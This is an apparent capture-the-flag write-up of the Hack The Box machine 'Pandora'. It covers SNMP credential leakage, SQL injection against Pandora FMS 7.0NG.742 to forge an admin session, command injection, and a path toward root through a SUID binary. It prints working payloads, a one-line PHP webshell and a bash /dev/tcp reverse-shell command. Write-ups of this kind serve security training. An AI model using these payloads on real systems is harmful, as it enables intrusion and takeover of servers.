Pandora starts off with some SNMP enumeration to find a username and password that can be used to get a shell. This provides access to a Pandora FMS system on localhost, which has multiple vulnerabilities. I’ll exploit a SQL injection to read the database and get session cookies. I can exploit that same page to get admin and upload a webshell, or exploit another command injection CVE to get execution. To get root, there’s a simple path hijack in a SUID binary, but I will have to switch to SSH access, as there’s a sandbox in an Apache module preventing my running SUID as root while a descendant process of Apache. I’ll explore that in depth in Beyond Root.

Box Info

Name Pandora Pandora
Release Date 08 Jan 2022
Retire Date 21 May 2022
OS Linux Linux
Base Points Easy [20]
Rated Difficulty Rated difficulty for Pandora
Radar Graph Radar chart for Pandora
First Blood User 1 hour, 46 mins, 47 seconds jazzpizazz
First Blood Root 2 hours, 01 mins, 23 seconds JoshSH



nmap finds two open TCP ports, SSH (22) and HTTP (80):

oxdf@hacky$ nmap -p- --min-rate 10000
Starting Nmap 7.80 ( ) at 2022-05-18 19:51 UTC
Nmap scan report for
Host is up (0.092s latency).
Not shown: 65533 closed ports
22/tcp open  ssh
80/tcp open  http

Nmap done: 1 IP address (1 host up) scanned in 7.74 seconds
oxdf@hacky$ nmap -p 22,80 -sCV
Starting Nmap 7.80 ( ) at 2022-05-18 19:51 UTC
Nmap scan report for
Host is up (0.090s latency).

22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
80/tcp open  http    Apache httpd 2.4.41 ((Ubuntu))
|_http-server-header: Apache/2.4.41 (Ubuntu)
|_http-title: Play | Landing
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at .
Nmap done: 1 IP address (1 host up) scanned in 9.97 seconds

Based on the OpenSSH and Apache versions, the host is likely running Ubuntu 20.04 focal.

I’ll also scan for top UDP ports, and find one, SNMP (161):

oxdf@hacky$ sudo nmap -sU -top-ports=100 panda.htb
Starting Nmap 7.80 ( ) at 2022-05-18 20:10 UTC
Nmap scan report for panda.htb (
Host is up (0.089s latency).
Not shown: 99 closed ports
161/udp open  snmp

Nmap done: 1 IP address (1 host up) scanned in 95.71 seconds

panda.htb - TCP 80


The site is for “Play”, and “extention of Panda.HTB”:

All the links lead to places on the page. There is a contact us form at the bottom, but it doesn’t look like it does anything.

I’ll add panda.htb to my /etc/hosts file, but the same page loads.

Tech Stack

The response headers don’t give much additional information.

I can take some guesses at what the extension on the index page is, and find it’s index.html.

Directory Brute Force

I’ll run feroxbuster against the site:

oxdf@hacky$ feroxbuster -u

 ___  ___  __   __     __      __         __   ___
|__  |__  |__) |__) | /  `    /  \ \_/ | |  \ |__
|    |___ |  \ |  \ | \__,    \__/ / \ | |__/ |___
by Ben "epi" Risher 🤓                 ver: 2.7.1
 🎯  Target Url            │
 🚀  Threads               │ 50
 📖  Wordlist              │ /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt
 👌  Status Codes          │ [200, 204, 301, 302, 307, 308, 401, 403, 405, 500]
 💥  Timeout (secs)        │ 7
 🦡  User-Agent            │ feroxbuster/2.7.1
 🏁  HTTP methods          │ [GET]
 🔃  Recursion Depth       │ 4
 🏁  Press [ENTER] to use the Scan Management Menu™
200      GET      907l     2081w    33560c
301      GET        9l       28w      313c =>
403      GET        9l       28w      277c
[####################] - 1m     90000/90000   0s      found:3       errors:0      
[####################] - 1m     30000/30000   497/s 
[####################] - 1m     30000/30000   491/s 
[####################] - 0s     30000/30000   0/s => Directory listing (add -e to scan)

Nothing interesting here.

Virtual Hosts

Given the mention of panda.htb, I’ll fuzz for subdomains using wfuzz. The default case seems to be 33560 characters, so I’ll add --hh 33560 to the end:

oxdf@hacky$ wfuzz -u http://panda.htb -H "Host: FUZZ.panda.htb" -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt --hh 33560
* Wfuzz 2.4.5 - The Web Fuzzer                         *

Target: http://panda.htb/
Total requests: 4989

ID           Response   Lines    Word     Chars       Payload

Total time: 61.58577
Processed Requests: 4989
Filtered Requests: 4989
Requests/sec.: 81.00896

Surprisingly, nothing.

SNMP - UDP 161


Simple network management protocol (SNMP) is a protocol for managing and sharing information about devices across the internet. The most recent version is version 3, which was released in 2004, and yet, version 2 is probably the most common in use on the internet. There isn’t too much in the way of authentication in v2, as most instances use the string “public”, so it’s not uncommon to be able to just dump a ton of data about a device with access to UDP 161.


I’ll run snmpwalk (apt install snmp snmp-mibs-downloader, see Sneaky for details), and it generates a lot of information:

oxdf@hacky$ snmpwalk -v 2c -c public | tee snmp-full
SNMPv2-MIB::sysDescr.0 = STRING: Linux pandora 5.4.0-91-generic #102-Ubuntu SMP Fri Nov 5 16:31:28 UTC 2021 x86_64
SNMPv2-MIB::sysObjectID.0 = OID: NET-SNMP-MIB::netSnmpAgentOIDs.10
DISMAN-EVENT-MIB::sysUpTimeInstance = Timeticks: (227623) 0:37:56.23
SNMPv2-MIB::sysContact.0 = STRING: Daniel
SNMPv2-MIB::sysName.0 = STRING: pandora
SNMPv2-MIB::sysLocation.0 = STRING: Mississippi
SNMPv2-MIB::sysServices.0 = INTEGER: 72  

I’ll pipe that into tee to save it in a file for easier analysis.

If you’re seeing iso. instead of SNMPv2-MIB::sysDescr.0, make sure you have installed the snmp-mibs-downloader and edited the /etc/snmp/snmp.conf file as described in my Sneaky post.

This runs really slow, and IppSec tipped me off to a tool that will run snmpwalk with threads, snmpbulkwalk. -Cr X will tell if to run with X threads, and it runs way faster:

oxdf@hacky$ snmpbulkwalk -Cr1000 -c public -v2c > snmp-full-bullk


SNMP gives all kinds of information about a box. For example, it shows some basic information about the host like uptime, a contact name, and location:

DISMAN-EVENT-MIB::sysUpTimeInstance = Timeticks: (227623) 0:37:56.23
SNMPv2-MIB::sysContact.0 = STRING: Daniel
SNMPv2-MIB::sysName.0 = STRING: pandora
SNMPv2-MIB::sysLocation.0 = STRING: Mississippi

There’s network information (IPv4 and IPv6, not shown):

IP-MIB::ipAdEntAddr. = IpAddress:
IP-MIB::ipAdEntAddr. = IpAddress:
IP-MIB::ipAdEntIfIndex. = INTEGER: 2
IP-MIB::ipAdEntIfIndex. = INTEGER: 1
IP-MIB::ipAdEntNetMask. = IpAddress:

It shows netstat like information, including listening ports:

TCP-MIB::tcpConnState. = INTEGER: listen(2)
TCP-MIB::tcpConnState. = INTEGER: listen(2)
TCP-MIB::tcpConnState. = INTEGER: listen(2)
UDP-MIB::udpLocalPort. = INTEGER: 161
UDP-MIB::udpLocalPort. = INTEGER: 53

There’s information about running processes:

HOST-RESOURCES-MIB::hrSWRunName.1 = STRING: "systemd"
HOST-RESOURCES-MIB::hrSWRunName.2 = STRING: "kthreadd"
HOST-RESOURCES-MIB::hrSWRunName.3 = STRING: "rcu_gp"
HOST-RESOURCES-MIB::hrSWRunName.4 = STRING: "rcu_par_gp"
HOST-RESOURCES-MIB::hrSWRunName.6 = STRING: "kworker/0:0H-kblockd"
HOST-RESOURCES-MIB::hrSWRunName.9 = STRING: "mm_percpu_wq"
HOST-RESOURCES-MIB::hrSWRunName.10 = STRING: "ksoftirqd/0"
HOST-RESOURCES-MIB::hrSWRunName.11 = STRING: "rcu_sched"
HOST-RESOURCES-MIB::hrSWRunName.12 = STRING: "migration/0"
HOST-RESOURCES-MIB::hrSWRunName.13 = STRING: "idle_inject/0"
HOST-RESOURCES-MIB::hrSWRunName.14 = STRING: "cpuhp/0"
HOST-RESOURCES-MIB::hrSWRunName.15 = STRING: "cpuhp/1"
HOST-RESOURCES-MIB::hrSWRunName.16 = STRING: "idle_inject/1"
HOST-RESOURCES-MIB::hrSWRunName.17 = STRING: "migration/1"
HOST-RESOURCES-MIB::hrSWRunName.18 = STRING: "ksoftirqd/1"
HOST-RESOURCES-MIB::hrSWRunName.20 = STRING: "kworker/1:0H-kblockd"
HOST-RESOURCES-MIB::hrSWRunName.21 = STRING: "kdevtmpfs"
HOST-RESOURCES-MIB::hrSWRunName.22 = STRING: "netns"
HOST-RESOURCES-MIB::hrSWRunName.23 = STRING: "rcu_tasks_kthre"
HOST-RESOURCES-MIB::hrSWRunName.24 = STRING: "kauditd"

There’s also information about the path each process is running from:

HOST-RESOURCES-MIB::hrSWRunPath.1 = STRING: "/sbin/init"

And the rest of the command line (the parameters):

HOST-RESOURCES-MIB::hrSWRunParameters.1 = STRING: "maybe-ubiquity"

There’s a list of the installed packages:

HOST-RESOURCES-MIB::hrSWInstalledName.748 = STRING: "python3.8_3.8.10-0ubuntu1~20.04.2_amd64"
HOST-RESOURCES-MIB::hrSWInstalledName.749 = STRING: "python3.8-minimal_3.8.10-0ubuntu1~20.04.2_amd64"
HOST-RESOURCES-MIB::hrSWInstalledName.750 = STRING: "readline-common_8.0-4_all"
HOST-RESOURCES-MIB::hrSWInstalledName.751 = STRING: "rsync_3.1.3-8ubuntu0.1_amd64"
HOST-RESOURCES-MIB::hrSWInstalledName.752 = STRING: "rsyslog_8.2001.0-1ubuntu1.1_amd64"
HOST-RESOURCES-MIB::hrSWInstalledName.753 = STRING: "run-one_1.17-0ubuntu1_all"
HOST-RESOURCES-MIB::hrSWInstalledName.754 = STRING: "sbsigntool_0.9.2-2ubuntu1_amd64"

Script Process List

Never shying away from an opertunity to practice Python, I’ll write a quick script that will print a more clear processes list. Right now I have the binary and the arguments hundreds of lines apart, connected only by the PID number. I’ll write the following script:

#!/usr/bin/env python3

import re
import sys
from collections import defaultdict
from dataclasses import dataclass

class Process:
    """Process read from SNMP"""
    pid: int
    proc: str
    args: str = ""

    def __str__(self) -> str:
        return f'{} {self.proc} {self.args}'

with open(sys.argv[1]) as f:
    data =

processes = {}

for match in re.findall(r'HOST-RESOURCES-MIB::hrSWRunName\.(\d+) = STRING: "(.+)"', data):
    processes[match[0]] = Process(int(match[0]), match[1])

for match in re.findall(r'HOST-RESOURCES-MIB::hrSWRunParameters\.(\d+) = STRING: "(.+)"', data):
    processes[match[0]].args = match[1]

for p in processes.values():

I’m making use of a Python dataclass to easily store information about each process, and format how I’ll print it. With a dataclass, I don’t have to define the __init__ function, but rather just define the parameters or the class that will be set at init. the __str__ function shows how an object of this class is converted to a string, which happens when I print it.

I’ll user regex to match the lines that have the names and then those that have the parameters. I’ll assume that each pid that has parameters will have already had a Process object created for it when it found the name line.

This prints a nice process list:

oxdf@hacky$ python snmp-full 
0001 systemd maybe-ubiquity                  
0002 kthreadd        
0003 rcu_gp            
0004 rcu_par_gp    
0006 kworker/0:0H-kblockd                  
0009 mm_percpu_wq    
0010 ksoftirqd/0     
0011 rcu_sched       
0012 migration/0                          
0013 idle_inject/0   
0014 cpuhp/0         
0015 cpuhp/1              
0016 idle_inject/1

Again, this was totally unnecessary, but a fun scripting opportunity.

Shell as daniel


Looking through the process list, there’s a process that’s running a script, /usr/bin/host_check, which seems like it may be passing a username and password:

0852 sh -c sleep 30; /bin/bash -c '/usr/bin/host_check -u daniel -p HotelBabylon23'
1115 host_check -u daniel -p HotelBabylon23


These creds work to SSH as daniel:

oxdf@hacky$ sshpass -p 'HotelBabylon23' ssh daniel@

Shell as matt


Home Dirs

There’s nothing at all in daniel’s home directory:

daniel@pandora:~$ ls -la
total 28
drwxr-xr-x 4 daniel daniel 4096 May 18 23:52 .
drwxr-xr-x 4 root   root   4096 Dec  7 14:32 ..
lrwxrwxrwx 1 daniel daniel    9 Jun 11  2021 .bash_history -> /dev/null
-rw-r--r-- 1 daniel daniel  220 Feb 25  2020 .bash_logout
-rw-r--r-- 1 daniel daniel 3771 Feb 25  2020 .bashrc 
drwx------ 2 daniel daniel 4096 May 18 23:52 .cache
-rw-r--r-- 1 daniel daniel  807 Feb 25  2020 .profile
drwx------ 2 daniel daniel 4096 Dec  7 14:32 .ssh 

There’s another user with a home directory, matt, and that has user.txt, but daniel can’t read it:

daniel@pandora:/home$ ls     
daniel  matt                  
daniel@pandora:/home$ ls matt/ 
daniel@pandora:/home$ cat matt/user.txt 
cat: matt/user.txt: Permission denied

Web Server Configs

Apache site configurations are in /etc/apache2/sites-enabled. In this case, there are two:

daniel@pandora:/etc/apache2/sites-enabled$ ls
000-default.conf  pandora.conf

000-default.conf looks like a standard webserver, listening on 80, and hosting out of /var/www/html:

daniel@pandora:/etc/apache2/sites-enabled$ cat 000-default.conf | grep -Pv "^\s*#" | grep .
<VirtualHost *:80>
        ServerAdmin webmaster@localhost
        DocumentRoot /var/www/html
        ErrorLog ${APACHE_LOG_DIR}/error.log
        CustomLog ${APACHE_LOG_DIR}/access.log combined

pandora.conf is a bit more interesting:

daniel@pandora:/etc/apache2/sites-enabled$ cat pandora.conf | grep -Pv "^\s*#" | grep .
<VirtualHost localhost:80>
  ServerAdmin admin@panda.htb
  ServerName pandora.panda.htb
  DocumentRoot /var/www/pandora
  AssignUserID matt matt
  <Directory /var/www/pandora>
    AllowOverride All
  ErrorLog /var/log/apache2/error.log
  CustomLog /var/log/apache2/access.log combined

It’s only listening on localhost, and under the server name pandora.panda.htb. It’s hosted out of /var/www/pandora, and running as matt.

pandora.panda.htb Files

matt owns the pandora folder, but any user can navigate into it and read:

daniel@pandora:/var/www$ ls -l
total 8
drwxr-xr-x 3 root root 4096 Dec  7 14:32 html
drwxr-xr-x 3 matt matt 4096 Dec  7 14:32 pandora

There are no writable places by daniel in pandora:

daniel@pandora:/var/www$ find pandora/ -writable

There’s a include/config.php file, but I can’t read it:

daniel@pandora:/var/www/pandora/pandora_console$ cat include/config.php 
cat: include/config.php: Permission denied
daniel@pandora:/var/www/pandora/pandora_console$ ls -l include/config.php
-rw------- 1 matt matt 413 Dec  3 14:06 include/config.php

Pandora FMS

I’ll reconnect my SSH session with -L 9001:localhost:80 so that 9001 on my local machine now forwards to localhost port 80 on Pandora.

I’ll set pandora.panda.htb to in my /etc/hosts file (turns out just accessing it by works as well), and visit http://pandora.panda.htb:9001. It’s a Pandora FMS instance with a login page:

image-20220518203724639Click for full size image

At the bottom, there’s a version, v7.0NG.742_FIX_PERL2020.



Googling for exploits against Pandora FMS leads to this PortSwigger post, which outlines a few CVEs found in late 2020 in version 742, which matches what I noted above.

This page on Pandora’s site lists the CVEs in it’s software and the versions that they were fixed in. There are seven fixed in 732.

This post mentions four of those, a SQL injection (CVE-2021-32099), a phar deserialization (CVE-2021-32098), a remote file inclusion (CVE-202132100), and a cross-site request forgery (no CVE), and goes into a ton of detail about the SQL injection.

The injections is in /include/chart_generator.php. It passes $_REQUEST['session_id'] to the constructor for a PandoraFMS\User object, and that is not sanitized.

UNION Injection POC

What’s neat about $_REQUEST is that it will try to pull from GET, POST, and cookies. I played with this a good amount in Beyond Root for OpenKeyS. I suspect the intended use here it to get the cookie, but to make it easier to attack, I can put my attack in a GET parameter (in the URL).

/include/chart_generator.php returns a 404, but I’ll notice that visiting / redirects to /pandora_console. /pandora_console/include/chart_generator.php returns a denial:


I’ll add ?session_id=' to the end, and it returns an SQL error:

image-20220519105847430Click for full size image

This is vulnerable to a UNION injection. If I try session_id=' union select 1;-- -, it complains about the number of columns being wrong:

image-20220519110142054Click for full size image

Increasing the number of columns in the union, at session_id=' union select 1,2,3;-- - it works:



I’ll point sqlmap at this and it finds UNION injection but decides it can’t exploit it. It does find boolean, error-based, and time-based injections:

oxdf@hacky$ sqlmap -u 'http://pandora.panda.htb:9001/pandora_console/include/chart_generator.php?session_id=1'
sqlmap identified the following injection point(s) with a total of 334 HTTP(s) requests:
Parameter: session_id (GET)             
    Type: boolean-based blind
    Title: MySQL RLIKE boolean-based blind - WHERE, HAVING, ORDER BY or GROUP BY clause
    Payload: session_id=1' RLIKE (SELECT (CASE WHEN (9034=9034) THEN 1 ELSE 0x28 END))-- dJJc

    Type: error-based
    Title: MySQL >= 5.0 OR error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)
    Payload: session_id=1' OR (SELECT 1447 FROM(SELECT COUNT(*),CONCAT(0x716b627671,(SELECT (ELT(1447=1447,1))),0x716a787671,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)-- wMuR

    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: session_id=1' AND (SELECT 9955 FROM (SELECT(SLEEP(5)))lBOL)-- GqOs
[15:03:59] [INFO] the back-end DBMS is MySQL
back-end DBMS: MySQL >= 5.0 (MariaDB fork)  

--dbs shows two databases:

available databases [2]:
[*] information_schema
[*] pandora

-D pandora --tables shows 178 (!) tables:

Database: pandora
[178 tables]                                  
| taddress                           |
| taddress_agent                     |             
| tagent_access                      |
| tagent_custom_data                 |
| tagent_custom_fields               |
| tagent_custom_fields_filter        |

Session as matt

Password Fails

Looking though the table names, there’s one called tpassword_history, which I’ll dump with -D pandora -T tpassword_history --dump:

Database: pandora
Table: tpassword_history
[2 entries]
| id_pass | id_user | date_end            | password                         | date_begin          |
| 1       | matt    | 0000-00-00 00:00:00 | f655f807365b6dc602b31ab3d6d43acc | 2021-06-11 17:28:54 |
| 2       | daniel  | 0000-00-00 00:00:00 | 76323c174bd49ffbbdedf678f6cc89a6 | 2021-06-17 00:11:54 |

These look like MD5 hashes, but neither cracks in CrackStation.

Another table that jumps out is treset_password, but it’s empty, and I can’t find a way to trigger a reset.

Dump Sessions

Looking through the table names, it looks like the PHP sessions could be stored in tsessions_php. I’ll dump it with -D pandora -T tsessions_php --dump --where "data<>''":

Database: pandora                                                                                        
Table: tsessions_php                                                                                     
[20 entries]                                                                                             
| id_session                 | data                                                | last_active |                                                                                                                 
| 09vao3q1dikuoi1vhcvhcjjbc6 | id_usuario|s:6:"daniel";                            | 1638783555  |
| 346uqacafar8pipuppubqet7ut | id_usuario|s:6:"daniel";                            | 1638540332  |
| 4nsbidcmgfoh1gilpv8p5hpi2s | id_usuario|s:6:"daniel";                            | 1638535373  |       
| 5i352tsdh7vlohth30ve4o0air | id_usuario|s:6:"daniel";                            | 1638281946  |
| 69gbnjrc2q42e8aqahb1l2s68n | id_usuario|s:6:"daniel";                            | 1641195617  |
| 8m2e6h8gmphj79r9pq497vpdre | id_usuario|s:6:"daniel";                            | 1638446321  |
| 9vv4godmdam3vsq8pu78b52em9 | id_usuario|s:6:"daniel";                            | 1638881787  |
| agfdiriggbt86ep71uvm1jbo3f | id_usuario|s:6:"daniel";                            | 1638881664  |       
| f0qisbrojp785v1dmm8cu1vkaj | id_usuario|s:6:"daniel";                            | 1641200284  |
| g0kteepqaj1oep6u7msp0u38kv | id_usuario|s:6:"daniel";                            | 1638783230  |
| g4e01qdgk36mfdh90hvcc54umq | id_usuario|s:4:"matt";alert_msg|a:0:{}new_chat|b:0; | 1638796349  |       
| hsftvg6j5m3vcmut6ln6ig8b0f | id_usuario|s:6:"daniel";                            | 1638168492  |  
| j6cbj3ng5243q6ikad06ad65bp | id_usuario|s:6:"daniel";                            | 1652903458  |  
| jecd4v8f6mlcgn4634ndfl74rd | id_usuario|s:6:"daniel";                            | 1638456173  |       
| o3kuq4m5t5mqv01iur63e1di58 | id_usuario|s:6:"daniel";                            | 1638540482  |       
| oi2r6rjq9v99qt8q9heu3nulon | id_usuario|s:6:"daniel";                            | 1637667827  |       
| pjp312be5p56vke9dnbqmnqeot | id_usuario|s:6:"daniel";                            | 1638168416  |
| rgku3s5dj4mbr85tiefv53tdoa | id_usuario|s:6:"daniel";                            | 1638889082  |
| u5ktk2bt6ghb7s51lka5qou4r4 | id_usuario|s:6:"daniel";                            | 1638547193  |       
| u74bvn6gop4rl21ds325q80j0e | id_usuario|s:6:"daniel";                            | 1638793297  |       

There are a few hundred rows that have session ids but no user associated with them, which is why I ignore those with the --where.

I don’t totally understand why daniel has so many sessions, but there’s also one for matt.

Fuzz Sessions

To quickly test these sessions, I’ll drop all 20 into a file, and run wfuzz:

oxdf@hacky$ wfuzz -u http://pandora.panda.htb:9001/pandora_console/ -b PHPSESSID=FUZZ -w sessions 
* Wfuzz 2.4.5 - The Web Fuzzer                         *

Target: http://pandora.panda.htb:9001/pandora_console/
Total requests: 20

ID           Response   Lines    Word     Chars       Payload

000000002:   200        247 L    665 W    14153 Ch    "346uqacafar8pipuppubqet7ut"
000000004:   200        247 L    665 W    14153 Ch    "5i352tsdh7vlohth30ve4o0air"
000000009:   200        247 L    665 W    14153 Ch    "f0qisbrojp785v1dmm8cu1vkaj"
000000003:   200        247 L    665 W    14153 Ch    "4nsbidcmgfoh1gilpv8p5hpi2s"
000000007:   200        247 L    665 W    14153 Ch    "9vv4godmdam3vsq8pu78b52em9"
000000008:   200        247 L    665 W    14153 Ch    "agfdiriggbt86ep71uvm1jbo3f"
000000010:   200        247 L    665 W    14153 Ch    "g0kteepqaj1oep6u7msp0u38kv"
000000005:   200        247 L    665 W    14153 Ch    "69gbnjrc2q42e8aqahb1l2s68n"
000000001:   200        247 L    665 W    14153 Ch    "09vao3q1dikuoi1vhcvhcjjbc6"
000000006:   200        247 L    665 W    14153 Ch    "8m2e6h8gmphj79r9pq497vpdre"
000000013:   200        247 L    665 W    14153 Ch    "j6cbj3ng5243q6ikad06ad65bp"
000000012:   200        247 L    665 W    14153 Ch    "hsftvg6j5m3vcmut6ln6ig8b0f"
000000015:   200        247 L    665 W    14153 Ch    "o3kuq4m5t5mqv01iur63e1di58"
000000014:   200        247 L    665 W    14153 Ch    "jecd4v8f6mlcgn4634ndfl74rd"
000000016:   200        247 L    665 W    14153 Ch    "oi2r6rjq9v99qt8q9heu3nulon"
000000011:   200        1393 L   4720 W   76805 Ch    "g4e01qdgk36mfdh90hvcc54umq"
000000019:   200        247 L    665 W    14153 Ch    "u5ktk2bt6ghb7s51lka5qou4r4"
000000017:   200        247 L    665 W    14153 Ch    "pjp312be5p56vke9dnbqmnqeot"
000000018:   200        247 L    665 W    14153 Ch    "rgku3s5dj4mbr85tiefv53tdoa"
000000020:   200        247 L    665 W    14153 Ch    "u74bvn6gop4rl21ds325q80j0e"

Total time: 0.794442
Processed Requests: 20
Filtered Requests: 0
Requests/sec.: 25.17489

One returns a much longer page! It just so happens to be the one assigned to matt.

User Session

I’ll go into the Firefox dev tools and under “Storage” > “Cookies” find the PHPSESSID cookie and replace it with the one from above. Now when I refresh /pandora_console, it loads logged in as matt:

image-20220519133326752Click for full size image

There’s not a ton in here that I can do that’s interesting

Path Split

There’s at least two unique ways to get from this access to RCE through Pandora. One is as Matt, exploiting CVE-2020-13851 to get execution. The other is to escalate to admin within Pandora FMS, and then upload a webshell.

RCE #1: CVE-2020-13851

This advisory from coresecurity give nice detail about RCE via the ajax.php file. In the left-side menu, clicking “Events” > “View events” generates a similar POST request:

POST /pandora_console/ajax.php HTTP/1.1
Host: pandora.panda.htb:9001
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:100.0) Gecko/20100101 Firefox/100.0
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 2227
Origin: http://pandora.panda.htb:9001
Connection: close
Referer: http://pandora.panda.htb:9001/pandora_console/index.php?sec=eventos&sec2=operation/events/events
Cookie: PHPSESSID=g4e01qdgk36mfdh90hvcc54umq


I’ll send that request to Burp Repeater, and replace the payload with the much smaller one in the POC link. I’ll have to tweak it a bit to get it to work, but eventually I’ll end up with this:

POST /pandora_console/ajax.php HTTP/1.1
Host: pandora.panda.htb:9001
Cookie: PHPSESSID=g4e01qdgk36mfdh90hvcc54umq


On sending, I get a shell as matt:

oxdf@hacky$ nc -nvlp 443
Listening on 443
Connection received on 44100
bash: cannot set terminal process group (10969): Inappropriate ioctl for device
bash: no job control in this shell
matt@pandora:/var/www/pandora/pandora_console$ id
uid=1000(matt) gid=1000(matt) groups=1000(matt)

I’ll upgrade my shell:

matt@pandora:/var/www/pandora/pandora_console$ script /dev/null -c bash
script /dev/null -c bash
Script started, file is /dev/null
matt@pandora:/var/www/pandora/pandora_console$ ^Z
[1]+  Stopped                 nc -nvlp 443
oxdf@hacky$ stty raw -echo; fg
nc -nvlp 443
reset: unknown terminal type unknown
Terminal type? screen

And grab user.txt:

matt@pandora:/home/matt$ cat user.txt

RCE #2: Admin Upload

This POC for CVE-2021-32099 (the SQL injection used above) shows this payload:

http://localhost:8000/pandora_console/include/chart_generator.php?session_id=PayloadHere%27%20union%20select%20%271%27,%272%27,%27id_usuario|s:5:%22admin%22;%27%20--%20a => Pandora FMS Graph ( - )

URL decoded that looks like:

PayloadHere' union select '1','2','id_usuario|s:5:"admin";' -- a

Effectively, this is querying the sessions table to find out what user I am, and injecting one of data that makes the application think I’m the admin user. If I do that, it actually sets a cookie that is the PHPSESSID for the admin user. I can simply visit that url, and then reload the main page, and it says I’m admin:


There’s a lot more options on the left hand menu as well:


Upload Webshell

I’ll go to the File manager page though “Admin tools” > “File Manager”, and click the button to upload files. I’ll give it 0xdf.php, a simple PHP webshell:

<?php system($_REQUEST['cmd']); ?>

It accepts it:


And the file shows up in the list of files, in red, with a warning when I hover over it:


Clicking the link actually downloads the file, which isn’t what I want.

Find Webshell

The link to the file is /pandora_console/include/get_file.php?file=L3BhbmRvcmFfY29uc29sZS9pbWFnZXMvMHhkZi5waHA%3D&hash=fac31c21cdd95f26f4a11073d7828e2c. The file parameter looks like Base64, and it does decode to the file URL:

daniel@pandora:/var/www/pandora/pandora_console$ echo "L3BhbmRvcmFfY29uc29sZS9pbWFnZXMvMHhkZi5waHA=" | base64 -d

Alternatively, since I have a shell as daniel, I could just find the file:

daniel@pandora:/var/www/pandora/pandora_console$ find . -name 0xdf.php

Either way, the webshell works:

oxdf@hacky$ curl http://pandora.panda.htb:9001/pandora_console/images/0xdf.php?cmd=id
uid=1000(matt) gid=1000(matt) groups=1000(matt)


To get a shell, I’ll just send it a Bash reverse shell:

oxdf@hacky$ curl 'http://pandora.panda.htb:9001/pandora_console/images/0xdf.php?cmd=bash+-c+"bash+-i+>%26+/dev/tcp/>%261"'

That hangs, but at nc:

oxdf@hacky$ nc -lnvp 443
Listening on 443
Connection received on 44650
bash: cannot set terminal process group (910): Inappropriate ioctl for device
bash: no job control in this shell


There’s a script from the SonarSource post authors that does all these steps for you on GitHub. Running it fetches the admin cookie, and then uploads a webshell, and runs commands through it:

oxdf@hacky$ python -t
[+] Sending Injection Payload
[+] Requesting Session
[+] Admin Session Cookie : 3hif5avdqp1hms9fl52krjmrtb
[+] Sending Payload 
[+] Respose : 200
[+] Pwned :)
[+] If you want manual Control :
CMD > id
uid=1000(matt) gid=1000(matt) groups=1000(matt)

Shell as root


There’s nothing else of interest in matt’s home directory. In looking around, a common check is to look for SUID binaries:

matt@pandora:/$ find / -perm -4000 -ls 2>/dev/null
   264644    164 -rwsr-xr-x   1 root     root       166056 Jan 19  2021 /usr/bin/sudo
   265010     32 -rwsr-xr-x   1 root     root        31032 May 26  2021 /usr/bin/pkexec
   267386     84 -rwsr-xr-x   1 root     root        85064 Jul 14  2021 /usr/bin/chfn
   262764     44 -rwsr-xr-x   1 root     root        44784 Jul 14  2021 /usr/bin/newgrp
   267389     88 -rwsr-xr-x   1 root     root        88464 Jul 14  2021 /usr/bin/gpasswd
   264713     40 -rwsr-xr-x   1 root     root        39144 Jul 21  2020 /usr/bin/umount
   262929     20 -rwsr-x---   1 root     matt        16816 Dec  3 15:58 /usr/bin/pandora_backup
   267390     68 -rwsr-xr-x   1 root     root        68208 Jul 14  2021 /usr/bin/passwd
   264371     56 -rwsr-xr-x   1 root     root        55528 Jul 21  2020 /usr/bin/mount
   264643     68 -rwsr-xr-x   1 root     root        67816 Jul 21  2020 /usr/bin/su
   264040     56 -rwsr-sr-x   1 daemon   daemon      55560 Nov 12  2018 /usr/bin/at
   264219     40 -rwsr-xr-x   1 root     root        39144 Mar  7  2020 /usr/bin/fusermount
   267387     52 -rwsr-xr-x   1 root     root        53040 Jul 14  2021 /usr/bin/chsh
   262815    464 -rwsr-xr-x   1 root     root       473576 Jul 23  2021 /usr/lib/openssh/ssh-keysign
   264920     52 -rwsr-xr--   1 root     messagebus    51344 Jun 11  2020 /usr/lib/dbus-1.0/dbus-daemon-launch-helper
   264927     16 -rwsr-xr-x   1 root     root          14488 Jul  8  2019 /usr/lib/eject/dmcrypt-get-device
   266611     24 -rwsr-xr-x   1 root     root          22840 May 26  2021 /usr/lib/policykit-1/polkit-agent-helper-1

/usr/bin/pandora_backup is definitely interesting.


Run pandora_backup

If I try to run pandora_backup from my current shell, it fails:

matt@pandora:/$ pandora_backup 
PandoraFMS Backup Utility
Now attempting to backup PandoraFMS client
tar: /root/.backup/pandora-backup.tar.gz: Cannot open: Permission denied
tar: Error is not recoverable: exiting now
Backup failed!
Check your permissions!

There are some interesting errors (I’ll look at those below), but it seems to be failing to run as root even though it’s SUID.

Other SUID binaries fail as well:

matt@pandora:/$ sudo -l
sudo: PERM_ROOT: setresuid(0, -1, -1): Operation not permitted
sudo: unable to initialize policy plugin

I’ll dig into why this is failing in Beyond Root.

SSH as matt

I’ll drop my public key into /home/matt/.ssh/authorized_keys:

matt@pandora:/home/matt/.ssh$ echo "ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIDIK/xSi58QvP1UqH+nBwpD1WQ7IaxiVdTpsg5U19G3d nobody@nothing" > authorized_keys 

Now I can connect with SSH:

oxdf@hacky$ ssh -i ~/keys/ed25519_gen matt@

And sudo (and pandora_backup) runs fine:

matt@pandora:~$ sudo -l
[sudo] password for matt:


Run It

I’ll run pandora_backup and see what happens:

matt@pandora:/$ pandora_backup
PandoraFMS Backup Utility
Now attempting to backup PandoraFMS client
tar: Removing leading `/' from member names
tar: Removing leading `/' from hard link targets
Backup successful!
Terminating program!

It’s doing a backup, with a long list of paths, all in /var/www/pandora. At the top it references tar a couple times, which suggests it’s using tar to compress/archive.


